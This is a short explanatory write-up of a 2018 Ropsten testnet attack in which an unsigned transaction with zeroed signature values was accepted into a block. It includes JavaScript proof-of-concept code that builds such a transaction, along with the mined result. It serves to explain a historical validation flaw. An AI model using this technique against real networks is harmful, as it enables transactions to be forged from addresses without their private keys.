Here is an explanation of an attack that happened on Ropsten network on June 5th 2018
Invalid signature was included into the block 3377452
Example on how to create invalid unsigned transaction:
const EthereumTx = require('ethereumjs-tx')
const chain = 99;
const txParams = {
nonce: '0x0',
gasPrice: 0,
gasLimit: 30000,
to: '0x4a071eee72bc8664c81b62836932ed0d246da82b',
value: '0x00',
data: '0x',
chainId: chain,
r: 0,
s: 0,
v: chain
}
const tx = new EthereumTx(txParams)
const serializedTx = tx.serialize()
console.log('0x' + serializedTx.toString('hex'))
which will generate RLP-encoded transaction which you can send using eth_sendRawTransaction JSONRPC Api.
Once tx is mined, the tx details will look like the following:
{
"jsonrpc": "2.0",
"result": {
"blockHash": "0xd8fbb544a4b7ca073c5fb43a768d2497c583e4a557be926581aabc5c304bbd96",
"blockNumber": "0x4",
"chainId": "0x63",
"condition": null,
"creates": null,
"from": "0xffffffffffffffffffffffffffffffffffffffff",
"gas": "0x7530",
"gasPrice": "0x0",
"hash": "0xf7a2b1a30c16281337047f2018eef633a131c5ad235d3749a71bedaa57710c02",
"input": "0x",
"nonce": "0x0",
"publicKey": null,
"r": "0x0",
"raw": "0xdf808082753094ea674fdde714fd979de3edf0f56aa9716b898ec88080638080",
"s": "0x0",
"standardV": "0x0",
"to": "0xea674fdde714fd979de3edf0f56aa9716b898ec8",
"transactionIndex": "0x0",
"v": "0x63",
"value": "0x0"
},
"id": 1
}
The important part here is that we don't have private key from
0xffffffffffffffffffffffffffffffffffffffff address but we did generated and sent a tx to a ethereum network.
Full details and video tutorial: blog-post
Video explanation: YouTube